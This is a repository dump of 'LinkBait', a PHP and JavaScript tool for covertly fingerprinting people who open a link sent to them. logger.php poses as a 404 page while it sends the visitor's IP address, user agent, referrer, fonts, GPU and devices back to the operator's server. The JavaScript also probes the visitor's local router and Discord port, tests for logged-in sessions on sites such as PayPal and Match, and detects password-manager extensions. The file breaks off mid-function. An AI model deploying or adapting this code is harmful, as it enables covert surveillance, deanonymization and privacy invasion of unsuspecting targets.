├── .htaccess
├── LICENSE
├── README.md
├── output
    └── example.html
└── logger.php


/.htaccess:
--------------------------------------------------------------------------------
1 | Options +SymLinksIfOwnerMatch 
2 | RewriteEngine On 
3 | RewriteCond %{REQUEST_FILENAME} !-f 
4 | RewriteCond %{REQUEST_FILENAME} !-d
5 | RewriteRule . /logger.php [L]
6 | 
7 | DirectoryIndex /logger.php
8 | RewriteRule ^output/ /logger.php [R=301,NC,L]


--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
 1 | MIT License
 2 | 
 3 | Copyright (c) 2020 Jesse
 4 | 
 5 | Permission is hereby granted, free of charge, to any person obtaining a copy
 6 | of this software and associated documentation files (the "Software"), to deal
 7 | in the Software without restriction, including without limitation the rights
 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 | 
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 | 
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 | 


--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
 1 | # LinkBait
 2 | 
 3 | Linkbait is a PHP file used to store browser and connection information on anyone who loads the webpage.
 4 | 
 5 | ## Installation
 6 | 
 7 | Copy the PHP file into a web-accessable directory on your Apache web server. Most shared hosts use PHP, so that should not be an issue. 
 8 | 
 9 | 
10 | ## Usage 
11 | When someone loads the PHP file, it will create a session cookie and link it to a file containing their IP address and User-Agent and send them the HTML/Javascript that the logger uses to grab the browser fingerprint. Once the javascript is done executing it will send a request back to the server with all of the collected data which then gets added to the log file. If the user opens the page again, it will gather all the data again and add it to the **same** log file as a way to keep each targets data together.
12 | 
13 | It is recommended that you use the included .htaccess file to redirect any requests to non-existing files to logger.php, and to prevent anyone from accessing your output/ directory from the web.
14 | 
15 | When sending a URL to the target (if using the included .htaccess file, or an equivalent one) you can send a customized url such as
16 | ```
17 | https://mydomain.com/random/check2-email-jesse
18 | ```
19 | or 
20 | ```
21 | https://mydomain.com/emailwhois?email=jesse@notarealemail.com&name=jesse
22 | ```
23 | 
24 | 
25 | The included example.html file can be moved outside of the output/ directory to allow you to test the service without sending any information to your server. 
26 | 
27 | 
28 | The script collects the following information
29 | 
30 | - Touch Information
31 | - Router IP Address
32 | - Installed GPU
33 | - Browser Version/Platform
34 | - Screen height/width
35 | - If the user has any webcam or mic plugged in
36 | - The users IPV6 address (if available)
37 | - If the user has discord running
38 | - Installed browser fonts
39 | - It checks a select few sites to see if the user is logged in
40 | - It checks if a select few extensions are installed (Chrome Only) 
41 | - System Time
42 | - System Language
43 | - TCP connection information (If they're using a VPN, and their operating system
44 | - IPV4 address (php file only, not in example.html)
45 | - User Agent (php file only, not in example.html)
46 | 
47 | 
48 | ## Contributing
49 | Pull requests are welcome. For major changes or any features you would like to see, please open an issue first to discuss what you would like to see changed.
50 | 
51 | ## License
52 | [MIT](https://choosealicense.com/licenses/mit/)
53 | 


--------------------------------------------------------------------------------
/output/example.html:
--------------------------------------------------------------------------------
  1 | <title>LinkBait Browser Fingerprinter PoC</title>
  2 | <meta charset="UTF-8">
  3 | 
  4 | 
  5 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> 
  6 | 
  7 | <script>
  8 |     let touch = false;
  9 |     window.onload = function(){
 10 |         var now = new Date();
 11 |         // Check if touch is enabled
 12 |         try {  
 13 |             document.createEvent("TouchEvent");  
 14 |             document.getElementById('touch').textContent = "Touch Enabled with " + navigator.maxTouchPoints + " touch points.";
 15 |             touch = true;
 16 |         } catch (e) {  
 17 |             document.getElementById('touch').textContent = "Touch not enabled, probably desktop";  
 18 |         }  
 19 | 
 20 |         // Try connectng to router IP addresses
 21 |         var route = "";
 22 | 
 23 |         function checkForRouter(ip){
 24 |             $.ajax({
 25 |                 url: ip,
 26 |                 dataType: "html",
 27 |                 cache: "false",
 28 |                 complete: function(one, two) {
 29 |                      if (two == "success") {
 30 |                          if (route == "") {
 31 |                              route = ip;
 32 |                              document.getElementById('router').textContent = "Router: " + ip;
 33 |                          }
 34 |                      } else if (two == "error") {
 35 |                          if (route == "") {
 36 |                              route = ip;
 37 |                              document.getElementById('router').textContent = "Router: " + ip;
 38 |                          }                     }
 39 | 
 40 |                 },
 41 |                 timeout: 8000
 42 |             });
 43 |         }
 44 | 
 45 |         checkForRouter("https://192.168.0.1");
 46 |         checkForRouter("https://192.168.0.254");
 47 |         checkForRouter("https://10.0.0.1");
 48 |         checkForRouter("https://10.0.0.254");
 49 |         checkForRouter("https://192.168.1.1");
 50 |         checkForRouter("https://192.168.1.254");
 51 |         checkForRouter("https://172.16.0.1");
 52 |         checkForRouter("https://172.16.0.254");
 53 |         checkForRouter("https://172.16.1.1");
 54 |         checkForRouter("https://172.16.1.254");
 55 | 
 56 |         // Get GPU info to further verify platform
 57 |         function getUnmaskedInfo(gl) {
 58 |             var unMaskedInfo = {
 59 |                 renderer: '',
 60 |                 vendor: ''
 61 |             };
 62 | 
 63 |             var dbgRenderInfo = gl.getExtension("WEBGL_debug_renderer_info");
 64 |             if (dbgRenderInfo != null) {
 65 |                 unMaskedInfo.renderer = gl.getParameter(dbgRenderInfo.UNMASKED_RENDERER_WEBGL);
 66 |                 unMaskedInfo.vendor = gl.getParameter(dbgRenderInfo.UNMASKED_VENDOR_WEBGL);
 67 |             }
 68 | 
 69 |             return unMaskedInfo;
 70 | 
 71 |         }
 72 | 
 73 |         var canvas;
 74 |         canvas = document.getElementById("glcanvas");
 75 |         var gl = canvas.getContext("experimental-webgl");
 76 |         document.getElementById('gpu').textContent = "GPU: " + getUnmaskedInfo(gl).renderer; 
 77 | 
 78 |         // Get OS/browser info
 79 |         document.getElementById('browser').textContent = "Browser code name: " + navigator.appCodeName;
 80 |         document.getElementById('browserVersion').textContent = "Browser app version: " + navigator.appVersion;
 81 |         document.getElementById('renderer').textContent = "Browser product: " + navigator.product;
 82 |         document.getElementById('platform').textContent = "Browser platform: " + navigator.platform;
 83 | 
 84 |         // Screen height/width
 85 |         document.getElementById('ScreenX').textContent = "Screen X: " + screen.width;
 86 |         document.getElementById('ScreenY').textContent = "Screen Y: " + screen.height;
 87 | 
 88 |         // Detect AV input
 89 |         navigator.mediaDevices.enumerateDevices()
 90 |             .then(function(devices) {
 91 |                 devices.forEach(function(device) {
 92 |                     if (device.kind == "audioinput"){
 93 |                         document.getElementById('mic').textContent = 'Found mic';
 94 |                     } else if (device.kind == "videoinput"){
 95 |                         document.getElementById('webcam').textContent = 'Found webcam';
 96 |                     }
 97 |                 });
 98 |             })
 99 |             .catch(function(err) {
100 |             });
101 | 
102 |         // Get IPV6 address
103 |         $.ajax({
104 |             url: "https://ipv6.hastysec.dev",
105 |             dataType: "text",
106 |             cache: "false",
107 |             complete: function(one, two) {
108 |                 if (two == "success") {
109 |                     document.getElementById('ipv6').textContent = one.responseText;
110 | 
111 |                 } else {
112 |                     document.getElementById('ipv6').textContent = "Unable to get IPV6" + two;
113 |                 }
114 |             },
115 |             timeout: 5000
116 |         });
117 | 
118 |         // Get MTU address
119 |         $.ajax({
120 |             url: "https://mtu.hastysec.dev",
121 |             dataType: "text",
122 |             cache: "false",
123 |             complete: function(one, two) {
124 |                 if (two == "success") {
125 | 
126 |                     lines = one.responseText.split("\n");
127 |                     document.getElementById('mtu').textContent = "";
128 |                     for (var i = 0; i < lines.length; i++){
129 |                         linebreak = document.createElement("br");
130 |                         document.getElementById('mtu').appendChild(linebreak);
131 |                         document.getElementById('mtu').append(lines[i]);
132 |                     }
133 | 
134 |                 } else {//if (two == "timeout") {
135 |                     document.getElementById('mtu').textContent = "Unable to get MTU" + two;
136 |                 }
137 |             },
138 |             timeout: 5000
139 |         });
140 | 
141 | 
142 |         // Is discord open?
143 |         $.ajax({
144 |             url: "http://127.0.0.1:6463/",
145 |             dataType: "text",
146 |             cache: "false",
147 |             error: function(one, two, three) {
148 |                 if (three === "Not Found") {
149 |                     document.getElementById('discord').textContent = "Discord: Running";
150 |                 } else {
151 |                     document.getElementById('discord').textContent = "Discord: Not running";
152 | 
153 |                 }
154 |             },
155 | 
156 |             timeout: 1000
157 |         });
158 | 
159 | 
160 |         // Get browser fonts
161 |         const fontCheck = new Set([
162 |             // Windows 10
163 |             'Arial', 'Arial Black', 'Bahnschrift', 'Calibri', 'Cambria', 'Cambria Math', 'Candara', 'Comic Sans MS', 'Consolas', 'Constantia', 'Corbel', 'Courier New', 'Ebrima', 'Franklin Gothic Medium', 'Gabriola', 'Gadugi', 'Georgia', 'HoloLens MDL2 Assets', 'Impact', 'Ink Free', 'Javanese Text', 'Leelawadee UI', 'Lucida Console', 'Lucida Sans Unicode', 'Malgun Gothic', 'Marlett', 'Microsoft Himalaya', 'Microsoft JhengHei', 'Microsoft New Tai Lue', 'Microsoft PhagsPa', 'Microsoft Sans Serif', 'Microsoft Tai Le', 'Microsoft YaHei', 'Microsoft Yi Baiti', 'MingLiU-ExtB', 'Mongolian Baiti', 'MS Gothic', 'MV Boli', 'Myanmar Text', 'Nirmala UI', 'Palatino Linotype', 'Segoe MDL2 Assets', 'Segoe Print', 'Segoe Script', 'Segoe UI', 'Segoe UI Historic', 'Segoe UI Emoji', 'Segoe UI Symbol', 'SimSun', 'Sitka', 'Sylfaen', 'Symbol', 'Tahoma', 'Times New Roman', 'Trebuchet MS', 'Verdana', 'Webdings', 'Wingdings', 'Yu Gothic',
164 |             // macOS
165 |             'American Typewriter', 'Andale Mono', 'Arial', 'Arial Black', 'Arial Narrow', 'Arial Rounded MT Bold', 'Arial Unicode MS', 'Avenir', 'Avenir Next', 'Avenir Next Condensed', 'Baskerville', 'Big Caslon', 'Bodoni 72', 'Bodoni 72 Oldstyle', 'Bodoni 72 Smallcaps', 'Bradley Hand', 'Brush Script MT', 'Chalkboard', 'Chalkboard SE', 'Chalkduster', 'Charter', 'Cochin', 'Comic Sans MS', 'Copperplate', 'Courier', 'Courier New', 'Didot', 'DIN Alternate', 'DIN Condensed', 'Futura', 'Geneva', 'Georgia', 'Gill Sans', 'Helvetica', 'Helvetica Neue', 'Herculanum', 'Hoefler Text', 'Impact', 'Lucida Grande', 'Luminari', 'Marker Felt', 'Menlo', 'Microsoft Sans Serif', 'Monaco', 'Noteworthy', 'Optima', 'Palatino', 'Papyrus', 'Phosphate', 'Rockwell', 'Savoye LET', 'SignPainter', 'Skia', 'Snell Roundhand', 'Tahoma', 'Times', 'Times New Roman', 'Trattatello', 'Trebuchet MS', 'Verdana', 'Zapfino',
166 |         ].sort());
167 | 
168 |         (async() => {
169 |             await document.fonts.ready;
170 | 
171 |             const fontAvailable = new Set();
172 | 
173 |             for (const font of fontCheck.values()) {
174 |                 if (document.fonts.check(`12px "${font}"`)) {
175 |                     fontAvailable.add(font);
176 |                 }
177 |             }
178 | 
179 |             let browserFonts = [...fontAvailable.values()];
180 |             document.getElementById('fonts').textContent = browserFonts.length + " fonts: " + browserFonts;
181 |         })();
182 | 
183 |         // Get logged in websites
184 |         function checkLogin(website, url){
185 |             var img = new Image();
186 |             img.setAttribute("style","visibility:hidden");
187 |             img.setAttribute("width","0");
188 |             img.setAttribute("height","0");
189 |             img.src = url + "?&" + new Date().getTime();
190 |             img.setAttribute("attr","start");
191 |             img.onerror = function() {
192 |             };
193 |             img.onload = function() {
194 |                 if (document.getElementById('loggedIn').textContent == "Checking logged in websites..."){
195 |                     document.getElementById('loggedIn').textContent = "Logged in websites: " + website;
196 |                     return;
197 |                 }
198 |                 document.getElementById('loggedIn').textContent = document.getElementById('loggedIn').textContent + ", " + website;
199 |             };
200 | 
201 |             document.body.appendChild(img);
202 |         }
203 | 
204 | 
205 |         logins = {}
206 |         logins["Google Services"] = "https://accounts.google.com/ServiceLogin?passive=true&continue=https%3A%2F%2Fwww.google.com%2Ffavicon.ico";
207 |         logins["Paypal"] = "https://www.paypal.com/signin?returnUri=favicon.ico";
208 |         logins["Instagram"] = "https://www.instagram.com/accounts/login/?next=%2Ffavicon.ico";
209 |         logins["Facebook"] = "https://www.facebook.com/login.php?next=https%3A%2F%2Fwww.facebook.com%2Ffavicon.ico";
210 |         logins["Twitter"] = "https://twitter.com/login?redirect_after_login=/favicon.ico";
211 |         logins["Amazon"] = "https://www.amazon.com/ap/signin?_encoding=UTF8&accountStatusPolicy=P1&openid.assoc_handle=usflex&openid.claimed_id=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.identity=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0%2Fidentifier_select&openid.mode=checkid_setup&openid.ns=http%3A%2F%2Fspecs.openid.net%2Fauth%2F2.0&openid.ns.pape=http%3A%2F%2Fspecs.openid.net%2Fextensions%2Fpape%2F1.0&openid.pape.max_auth_age=0&openid.return_to=https%3A%2F%2Fwww.amazon.com%2Ffavicon.ico&pageId=webcs-yourorder&showRmrMe=1";
212 |         logins["Yahoo"] = "https://login.yahoo.com/?.src=ym&.partner=none&.lang=en-CA&.intl=ca&.done=https%3A%2F%2Fmail.yahoo.com%2Ffavicon.ico";
213 |         logins["Hotmail"] = "https://storage.live.com/mydata/myprofile/expressionprofile/profilephoto:UserTileStatic,UserTileSmall/MeControlMediumUserTile?ck=1&ex=24&fofoff=1";
214 |         logins["Match"] = "https://www.match.com/login?to=/favicon.ico";
215 |         
216 | 
217 |         for (var key in logins){
218 |             if (logins.hasOwnProperty(key)){
219 |                 checkLogin(key, logins[key]);
220 |             }
221 |         }
222 | 
223 |     // Get installed browser plugins (Chrome only)
224 |     function checkExtension(name, url){
225 |         $.ajax({
226 |         url: url,
227 |         cache: "false",
228 |         complete: function(one, two) {
229 |             if (two == "success"){
230 |                 if (document.getElementById('extensions').textContent == "Checking installed extensions (chrome only)..."){
231 |                         document.getElementById('extensions').textContent = "Loaded extensions (chrome only): " + name;
232 |                         return;
233 |                     }
234 |                 document.getElementById('extensions').textContent = document.getElementById('extensions').textContent + ", " + name;
235 |             }
236 |         },
237 |         timeout: 1000
238 |     });
239 |     }
240 | 
241 |     extensions = {};
242 |     extensions['Hunchly'] = 'chrome-extension://amfnegileeghgikpggcebehdepknalbf/content-script/modal.css';
243 |     extensions['KeepassXC'] = 'chrome-extension://oboonakemofpalcgghocfoadofidjkkk/icons/otp.svg';
244 |     extensions['Bitwarden'] = 'chrome-extension://nngceckbapebfimnlniiiahkandclblb/notification/bar.html';
245 |     extensions['Lastpass'] = 'chrome-extension://hdokiejnpimakedhajhdlcegeplioahd/overlay.html';
246 |     extensions['User-Agent Switcher for Chrome'] = 'chrome-extension://djflhoibgkdhkhhcedjiklpkjnoahfmg/jquery.js';
247 |     extensions['User Agent Switcher'] = 'chrome-extension://kchfmpdcejfkipopnolndinkeoipnoia/jquery.js';
248 |     extensions['Chrome Media Router'] = 'chrome-extension://pkedcjkdefgpdelpbcmbmeomcjbeemfm/cast_sender.js';
249 | 
250 |     for (var key in extensions){
251 |         if (extensions.hasOwnProperty(key)){
252 |             checkExtension(key, extensions[key]);
253 |         }
254 |     }
255 | 
256 |     // Get system language
257 |     document.getElementById('systemLanguage').textContent = "System language: " + navigator.language;
258 | 
259 | 
260 |     // Get system time
261 |     var today = new Date();
262 |     var date = today.getFullYear()+'-'+(today.getMonth()+1)+'-'+today.getDate();
263 |     var time = today.getHours() + ":" + today.getMinutes() + ":" + today.getSeconds();
264 |     document.getElementById('systemTime').textContent = "System Time: " + date+' '+time;
265 |     
266 |     // Testing
267 | 
268 | 
269 |     }
270 | 
271 | 
272 | </script>
273 | 
274 | 
275 | <canvas id="glcanvas" width="0" height="0"></canvas>
276 | <body>
277 |     <div id="touch"></div>
278 |     <br>
279 |     <div id="router"></div>
280 |     <br>
281 |     <div id="gpu"></div>
282 |     <br>
283 |     <div id="browser"></div>
284 |     <br>
285 |     <div id="browserVersion"></div>
286 |     <br>
287 |     <div id="renderer"></div>
288 |     <br>
289 |     <div id="platform"></div>
290 |     <br>
291 |     <div id="ScreenY">Getting Screen Height...</div>
292 |     <br>
293 |     <div id="ScreenX">Getting Screen width...</div>
294 |     <br>
295 |     <div id="webcam">No webcam.</div>
296 |     <br>
297 |     <div id="mic">No mic</div>
298 |     <br>
299 |     <div id="ipv6">Checking IPV6...</div>
300 |     <br>
301 |     <div id="discord">Checking for discord..</div>
302 |     <br>
303 |     <div id="fonts">Checking Fonts...</div>
304 |     <br>
305 |     <div id="loggedIn">Checking logged in websites...</div>
306 |     <br>
307 |     <div id="extensions">Checking installed extensions (chrome only)...</div>
308 |     <br>
309 |     <div id="systemTime">Checking system time</div>
310 |     <br>
311 |     <div id="systemLanguage">Checking system language</div>
312 |     <br>
313 |     <div id="mtu">Checking system language</div>
314 | 
315 | </body>
316 | 


--------------------------------------------------------------------------------
/logger.php:
--------------------------------------------------------------------------------
  1 | <?php
  2 | 
  3 | session_start();
  4 | 
  5 | 
  6 | if (isset($_POST['k']) && isset($_POST['v'])){ // If the browser is POSTING the gathered data to us
  7 |    
  8 |     // If it's the first time this user has had this IP address, or user agent.
  9 |     if (!in_array($_SERVER['REMOTE_ADDR'], $_SESSION['ips']) || !in_array($_SERVER['HTTP_USER_AGENT'], $_SESSION['agents'])){
 10 |         if (!in_array($_SERVER['REMOTE_ADDR'], $_SESSION['ips'])){
 11 |             array_push($_SESSION['ips'], $_SERVER['REMOTE_ADDR']);
 12 |         }
 13 |         if (!in_array($_SERVER['HTTP_USER_AGENT'], $_SESSION['agents'])){
 14 |             array_push($_SESSION['agents'], $_SERVER['HTTP_USER_AGENT']);
 15 |         }
 16 |         $fileContents = file_get_contents($_SESSION['fileName']);
 17 | 
 18 |         file_put_contents($_SESSION['fileName'], $_SERVER['REMOTE_ADDR'] . " -- " . $_SERVER['HTTP_USER_AGENT'] . "\n" . $fileContents);
 19 |     }
 20 | 
 21 |     // If this IP or User-Agent is different than the last one we got
 22 |     if ($_SESSION['latestIP'] != $_SERVER['REMOTE_ADDR'] || $_SESSION['latestUA'] != $_SERVER['HTTP_USER_AGENT']){
 23 |         $_SESSION['latestIP'] = $_SERVER['REMOTE_ADDR'];
 24 |         $_SESSION['latestUA'] = $_SERVER['HTTP_USER_AGENT'];
 25 | 
 26 |         file_put_contents($_SESSION['fileName'], $_SERVER['REMOTE_ADDR'] . " -- " . $_SERVER['HTTP_USER_AGENT'] . "\n" . $fileContents);
 27 |     } 
 28 | 
 29 |     file_put_contents($_SESSION['fileName'], $_POST['k'] . ": " . $_POST['v'] . "\n", FILE_APPEND | LOCK_EX);
 30 |     return;
 31 | }
 32 | 
 33 | // If it's just a GET request
 34 | // If we haven't initialized a session yet
 35 | if (!array_key_exists('firstSeen', $_SESSION)){ 
 36 |     if (!file_exists('output/')) {
 37 |         mkdir('output', 0777, true);
 38 |     }
 39 |     $_SESSION['firstSeen'] = date("Y-m-d-h:i:s");
 40 |     $_SESSION['fileName'] = 'output/' . $_SESSION['firstSeen'] . "-" . $_SERVER['REMOTE_ADDR'] . ".txt";
 41 |     
 42 |     $_SESSION['ips'] = array();
 43 |     $_SESSION['agents'] = array();
 44 |     file_put_contents($_SESSION['fileName'], "");
 45 | }
 46 | 
 47 | // If we have a referer add it to their log file
 48 | if (isset($_SERVER['HTTP_REFERER'])){
 49 |     file_put_contents($_SESSION['fileName'], $_SERVER['HTTP_REFERER'] . "\n", FILE_APPEND | LOCK_EX);
 50 | }
 51 | ?>
 52 | 
 53 | <title>404 Not-Found</title>
 54 | <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script> 
 55 | 
 56 | <style>
 57 | html {
 58 |     height: 100%;
 59 | 
 60 | }
 61 | 
 62 | body{
 63 |     font-family: 'Lato', sans-serif;
 64 |     color: #888;
 65 |     margin: 0;
 66 | 
 67 | }
 68 | 
 69 | #main{
 70 |     display: table;
 71 |     width: 100%;
 72 |     height: 100vh;
 73 |     text-align: center;
 74 | }
 75 | 
 76 | .fof{
 77 | 	  display: table-cell;
 78 | 	  vertical-align: middle;
 79 | }
 80 | 
 81 | .fof h1{
 82 | 	  font-size: 50px;
 83 | 	  display: inline-block;
 84 | 	  padding-right: 12px;
 85 | 	  animation: type .5s alternate infinite;
 86 | }
 87 | </style>
 88 | 
 89 | <script>
 90 | var running = 0;
 91 | var resp = {};
 92 | let touch =  false;
 93 | 
 94 | function submitResult(k, v) {
 95 |     $.ajax({
 96 |                 type: 'POST',
 97 |                 url: window.location,
 98 |                 data: { 
 99 |                     'k': k,
100 |                     'v': v 
101 |                 },
102 |                 success: function(msg){
103 |                 }
104 |             });
105 | }
106 | submitResult('url', window.location.href);
107 | 
108 | window.onload = function(){
109 |     // Check if touch is enabled
110 |     try {  
111 |         running++
112 |         document.createEvent("TouchEvent");  
113 |         submitResult('touch', true);
114 |         //resp['touch'] = true;
115 |         
116 |     } catch (e) {  
117 |         submitResult('touch', false);
118 |         //resp['touch'] = false;
119 |     }  
120 | 
121 |     // Try connectng to router IP addresses
122 |     var route = "";
123 | 
124 |     function checkForRouter(ip){
125 |         $.ajax({
126 |             url: ip,
127 |             dataType: "html",
128 |             cache: "false",
129 |             complete: function(one, two) {
130 |                     if (two == "success" || two == "error") {
131 |                         if (route == "") {
132 |                             route = ip;
133 |                             //resp['router'] = ip;
134 |                             submitResult('router', ip);
135 |                             
136 |                         }
137 |                     } else {
138 |                         if (route == "") {
139 |                         //resp['router'] = false;
140 |                         }
141 |                     }
142 | 
143 |             },
144 |             timeout: 2000
145 |         });
146 |     }
147 | 
148 |     running++
149 |     //resp['router'] = "";
150 |     checkForRouter("https://192.168.0.1");
151 |     checkForRouter("https://192.168.0.254");
152 |     checkForRouter("https://10.0.0.1");
153 |     checkForRouter("https://10.0.0.254");
154 |     checkForRouter("https://192.168.1.1");
155 |     checkForRouter("https://192.168.1.254");
156 |     checkForRouter("https://172.16.0.1");
157 |     checkForRouter("https://172.16.0.254");
158 |     checkForRouter("https://172.16.1.1");
159 |     checkForRouter("https://172.16.1.254");
160 | 
161 |     // Get GPU info to further verify platform
162 |     running++
163 |     function getUnmaskedInfo(gl) {
164 |         var unMaskedInfo = {
165 |             renderer: '',
166 |             vendor: ''
167 |         };
168 | 
169 |         var dbgRenderInfo = gl.getExtension("WEBGL_debug_renderer_info");
170 |         if (dbgRenderInfo != null) {
171 |             unMaskedInfo.renderer = gl.getParameter(dbgRenderInfo.UNMASKED_RENDERER_WEBGL);
172 |             unMaskedInfo.vendor = gl.getParameter(dbgRenderInfo.UNMASKED_VENDOR_WEBGL);
173 |         }
174 | 
175 |         return unMaskedInfo;
176 | 
177 |     }
178 | 
179 | 
180 |     var canvas;
181 |     canvas = document.getElementById("glcanvas");
182 |     var gl = canvas.getContext("experimental-webgl");
183 |     //resp['gpu'] = getUnmaskedInfo(gl).renderer;
184 |     submitResult('gpu', getUnmaskedInfo(gl).renderer);
185 | 
186 | 
187 |     // Get OS/browser info
188 | 
189 |     running += 4;
190 |     //resp['browser'] = navigator.appCodeName;
191 |     //resp['browserVersion'] = navigator.appVersion;
192 |     //resp['renderer'] = navigator.product;
193 |     //resp['platform'] = navigator.platform;
194 |     submitResult('browserVersion', navigator.appVersion);
195 |     submitResult('renderer', navigator.product);
196 |     submitResult('platform', navigator.platform);
197 | 
198 |     // Get screen X/Y
199 |     running += 2;
200 |     //resp['ScreenX'] = screen.width;
201 |     submitResult("Screen Width", screen.width);
202 |     //resp['ScreenY'] = screen.height;
203 |     submitResult('Screen Height', screen.height);
204 | 
205 |     running += 2;
206 |     // Detect AV input
207 |     navigator.mediaDevices.enumerateDevices()
208 |         .then(function(devices) {
209 |             devices.forEach(function(device) {
210 |                 if (device.kind == "audioinput"){
211 |                     //resp['mic'] = 'Found';
212 |                     submitResult('mic', 'Found');
213 |                 } else if (device.kind == "videoinput"){
214 |                     //resp['webcam'] = 'Found';
215 |                     submitResult('webcam', 'Found');
216 |                 }
217 |             });
218 |         })
219 |         .catch(function(err) {
220 |         });
221 |         if ('mic' in resp) {
222 |         } else {
223 |             //resp['mic'] = "Not found";
224 |         }
225 |         if ('webcam' in resp) {
226 |         } else {
227 |             //resp['webcam'] = "Not found";
228 |         }
229 | 
230 |     running++
231 |     // Get IPV6 address
232 |     $.ajax({
233 |         url: "https://ipv6.hastysec.dev",
234 |         dataType: "text",
235 |         cache: "false",
236 |         complete: function(one, two) {
237 |             if (two == "success") {
238 |                 //resp['ipv6'] = one.responseText;
239 |                 submitResult('ipv6', one.responseText);
240 | 
241 |             } else {
242 |                 //resp['ipv6'] = "Unable to retrieve";
243 |                 submitResult('ipv6', "Unable to retrieve");
244 |             }
245 |         },
246 |         error: function(one, two, three) {
247 |             //resp['ipv6'] = "Unable to retrieve";
248 |             submitResult('ipv6', "Unable to retrieve");
249 |         },
250 |         timeout: 3000
251 |     });
252 | 
253 |     running++
254 |     // Get request packet info
255 |     $.ajax({
256 |         url: "https://mtu.hastysec.dev",
257 |         dataType: "text",
258 |         cache: "false",
259 |         complete: function(one, two) {
260 |             if (two == "success") {
261 |                 //resp['mtu'] = one.responseText;
262 |                 submitResult('mtu', one.responseText);
263 | 
264 | 
265 |             } else {//if (two == "timeout") {
266 |                 //resp['mtu'] = "Unable to retrieve";
267 |                 submitResult('mtu', "Unable to retrieve");
268 | 
269 |             }
270 |         },
271 |         error: function(one, two, three) {
272 |             //resp['mtu'] = "Unable to retrieve";
273 |             submitResult('mtu', "Unable to retrieve");
274 | 
275 |         },
276 |         timeout: 3000
277 |     });
278 | 
279 |     running++
280 |     // Is discord open?
281 |     $.ajax({
282 |         url: "http://127.0.0.1:6463/",
283 |         dataType: "text",
284 |         cache: "false",
285 |         error: function(one, two, three) {
286 |             if (three === "Not Found") {
287 |                 //resp['discord'] = "Running";
288 |                 submitResult('Discord', "Running");
289 | 
290 |             } else {
291 |                 //resp['discord'] = "Not running";
292 |                 submitResult('Discord', "Not Running");
293 | 
294 | 
295 |             }
296 |         },
297 | 
298 |         timeout: 1000
299 |     });
300 | 
301 | 
302 |     // Get fonts
303 |     running ++
304 |     
305 |     const fontCheck = new Set([
306 |         // Windows 10
307 |         'Arial', 'Arial Black', 'Bahnschrift', 'Calibri', 'Cambria', 'Cambria Math', 'Candara', 'Comic Sans MS', 'Consolas', 'Constantia', 'Corbel', 'Courier New', 'Ebrima', 'Franklin Gothic Medium', 'Gabriola', 'Gadugi', 'Georgia', 'HoloLens MDL2 Assets', 'Impact', 'Ink Free', 'Javanese Text', 'Leelawadee UI', 'Lucida Console', 'Lucida Sans Unicode', 'Malgun Gothic', 'Marlett', 'Microsoft Himalaya', 'Microsoft JhengHei', 'Microsoft New Tai Lue', 'Microsoft PhagsPa', 'Microsoft Sans Serif', 'Microsoft Tai Le', 'Microsoft YaHei', 'Microsoft Yi Baiti', 'MingLiU-ExtB', 'Mongolian Baiti', 'MS Gothic', 'MV Boli', 'Myanmar Text', 'Nirmala UI', 'Palatino Linotype', 'Segoe MDL2 Assets', 'Segoe Print', 'Segoe Script', 'Segoe UI', 'Segoe UI Historic', 'Segoe UI Emoji', 'Segoe UI Symbol', 'SimSun', 'Sitka', 'Sylfaen', 'Symbol', 'Tahoma', 'Times New Roman', 'Trebuchet MS', 'Verdana', 'Webdings', 'Wingdings', 'Yu Gothic',
308 |         // macOS
309 |         'American Typewriter', 'Andale Mono', 'Arial', 'Arial Black', 'Arial Narrow', 'Arial Rounded MT Bold', 'Arial Unicode MS', 'Avenir', 'Avenir Next', 'Avenir Next Condensed', 'Baskerville', 'Big Caslon', 'Bodoni 72', 'Bodoni 72 Oldstyle', 'Bodoni 72 Smallcaps', 'Bradley Hand', 'Brush Script MT', 'Chalkboard', 'Chalkboard SE', 'Chalkduster', 'Charter', 'Cochin', 'Comic Sans MS', 'Copperplate', 'Courier', 'Courier New', 'Didot', 'DIN Alternate', 'DIN Condensed', 'Futura', 'Geneva', 'Georgia', 'Gill Sans', 'Helvetica', 'Helvetica Neue', 'Herculanum', 'Hoefler Text', 'Impact', 'Lucida Grande', 'Luminari', 'Marker Felt', 'Menlo', 'Microsoft Sans Serif', 'Monaco', 'Noteworthy', 'Optima', 'Palatino', 'Papyrus', 'Phosphate', 'Rockwell', 'Savoye LET', 'SignPainter', 'Skia', 'Snell Roundhand', 'Tahoma', 'Times', 'Times New Roman', 'Trattatello', 'Trebuchet MS', 'Verdana', 'Zapfino',
310 |     ].sort());
311 | 
312 |     const fontAvailable = new Set();
313 | 
314 |     for (const font of fontCheck.values()) {
315 |         if (document.fonts.check(`12px "${font}"`)) {
316 |             fontAvailable.add(font);
317 |         }
318 |     }
319 | 
320 |     let browserFonts = [...fontAvailable.values()];
321 |     //resp['fonts'] = browserFonts.length + " fonts: " + browserFonts;
322 |     submitResult('Fonts', browserFonts.length + " fonts: " + browserFonts);
323 | 
324 | 
325 | 
326 |     // Get logged in websites
327 |     function checkLogin(website, url){
328 |         runningLogins++;
329 |         var img = new Image();
330 |         img.setAttribute("style","visibility:hidden");
331 |         img.setAttribute("width","0");
332 |         img.setAttribute("height","0");
333 |         img.src = url + "?&" + new Date().getTime();
334 |         img.setAttribute("attr","start");
335 |         img.onerror = function() {
